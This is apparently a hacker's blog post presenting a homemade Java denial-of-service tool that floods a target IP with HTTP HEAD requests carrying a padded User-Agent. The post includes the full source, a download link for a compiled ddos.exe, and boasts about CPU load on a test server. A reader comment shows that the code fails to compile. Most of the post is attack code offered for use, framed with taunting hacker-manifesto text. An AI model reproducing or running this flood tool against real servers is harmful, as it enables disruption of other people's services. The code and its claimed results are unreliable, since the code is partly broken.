Hi All Today i Tested some DDoS ATTacKs on my Xampp Sever,after a while i found some java sample source for DDoS.
I found some GET / HTTP/1.1 tcp syn attack but i think its gay.With the GET / HTTP/1.1 apache.exe got 4 % Cpu Load.If you connect too much your connect will be killed.
After a while i got a idee why not flood the Server with GET HEAD+Set User Agent.After 10 Mins Coding DDoS-Agent is Born.
Here Some Proofs :
Tested it on a Friends Cpu my Cpu are tooo Slow for it AMD X2 2600 ghz 2gb Ram ………
FriendSystem : AMD X6 3500ghz
FriendRam :16gb
6 x Times Started a DDoS Attack on the Xampp Server with default conf.
ApacheHttpServer.exe goes to 60-80 %.With a bigger UserAgent Buffer you can make up to 15mb/s write speed on acess.log.I used a small one just 1mbs.
Download :
http://www.mirrorupload.net/file/IRXHYSDS/#!ddos.exe
Source:
Dos.java
package com;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.net.Socket;
import java.util.Scanner;
/**
* Created by Simple IDEA.
* User: cr4shyyyyy
* Date: 23-02-2013
* Time: 21:10:28
*/
public class dos extends Socket implements Runnable {
static dos _instance = new dos();
public static void main(String[] args) {
//for (int i = 0; i < 2; i++)
new Thread(_instance).start();
}
public void run() {
Scanner scanner = new Scanner(System.in);
System.out.println("Welcome to User-Agent-DDoS by cr4shyyy : ");
System.out.println("_________________________________");
System.out.println("|.--------_--_------------_--__--.|");
System.out.println("|| Security-is-just-an-Illusion||");
System.out.println(";;`,_ by cr4shyyy __ ,:|");
System.out.println("((_(-,-----------.-.----------.-.)`)");
System.out.println("__ ) ,' `. _/");
System.out.println(": : |_________| : :");
System.out.println("|-'| ,'-.-.--.-.`. |`-|");
System.out.println("|_.| (( (* )(* ))) |._|");
System.out.println("| | `.-`-'--`-'.' | |");
System.out.println("|-'| | ,-.-.-. | |._|");
System.out.println("| | |(|-|-|-|)| | |");
System.out.println(":,': |_`-'-'-'_| ;`.;");
System.out.println(" ,' `. /._/");
System.out.println(" `._ ________________,' /");
System.out.println(" : ___________ : ,'");
System.out.println(" `.| | | | |,'");
System.out.println(" `.| | g0tr00t ? | | |");
System.out.println(" | | | |");
System.out.println("Hello nobody. Tonight we have a very special g33k Presentation.");
System.out.println("So, kick back and stretch your sack.");
System.out.println(" ");
System.out.println(" +++The Mentor+++ ");
System.out.println("We explore... and you call us criminals.");
System.out.println("We seek after knowledge... and you call us criminals.");
System.out.println("We exist without skin color, without nationality, without religious bias... and you call us criminals.");
System.out.println("You build atomic bombs, you wage wars, you murder, cheat,");
System.out.println("and lie to us and try to make us believe it's for our own good, yet we're the criminals.");
System.out.println(" ");
System.out.println("Please Enter Ip to UserAgent-DDoS : ");
String eingabe = scanner.nextLine();
String TARGET = eingabe;
if(eingabe == null || eingabe.length() == 0) {
System.out.println("Enter range n000b ........");
}
for (int i = 1; i < 1000000; i++) {
if ((checkshell.exists("http://"+TARGET+"")) == true) {
System.out.println("Fucked You " + i+" Times with " +i+" Connection !!!");
}
else{
if ((checkshell.exists("http://"+TARGET+"")) == false) {
System.out.println("Error after " +i+" Connection !!!");
}
}
}
}
public static void sendRawLine(String text, Socket sock) {
try {
BufferedWriter out = new BufferedWriter(new OutputStreamWriter(sock.getOutputStream()));
out.write(text + " ");
out.flush();
} catch (IOException ex) {
System.out.println("Bitch Offline ....");
//ex.printStackTrace();
}
}
}
checkchell.java
package com;
import java.net.*;
public class checkshell {
/**
* Created by Simple IDEA.
* User: cr4shyyyyy
* Date: 23-02-2013
* Time: 21:10:28
*/
public static void mainshellcheck(String s[]) {
/*
output :
true
false
*/
}
public static boolean exists(String URLName){
String evilPayload = org.apache.commons.lang3.RandomStringUtils.randomAlphanumeric(1*3*3*7);
//System.out.println(evilPayload);
String userAgentPayload = "UserAgentDDOS by cr4shhyyy from http://security-is-just-an-illusion.blogspot.de/"+evilPayload;
int TIMEOUT_VALUE = 0;
try {
HttpURLConnection.setFollowRedirects(false);
HttpURLConnection con =(HttpURLConnection) new URL(URLName).openConnection();
con.setInstanceFollowRedirects(false);
con.setConnectTimeout(TIMEOUT_VALUE);
con.setReadTimeout(TIMEOUT_VALUE);
con.setConnectTimeout(TIMEOUT_VALUE);
con.setRequestMethod("HEAD");
con.addRequestProperty("User-Agent", userAgentPayload);
con.disconnect();
return (con.getResponseCode() == HttpURLConnection.HTTP_OK);
}
catch (Exception e) {
System.out.println("Bitch Offline ....");
//e.printStackTrace();
return false;
}
}
}
Use it for Personal use or study purposes.
D:\DDoS\Project>javac dos.java
ReplyDeletedos.java:63: error: cannot find symbol
if ((checkshell.exists("http://"+TARGET+"")) == true) {
^
symbol: variable checkshell
location: class dos
dos.java:67: error: cannot find symbol
if ((checkshell.exists("http://"+TARGET+"")) == false) {
^
symbol: variable checkshell
location: class dos
2 errors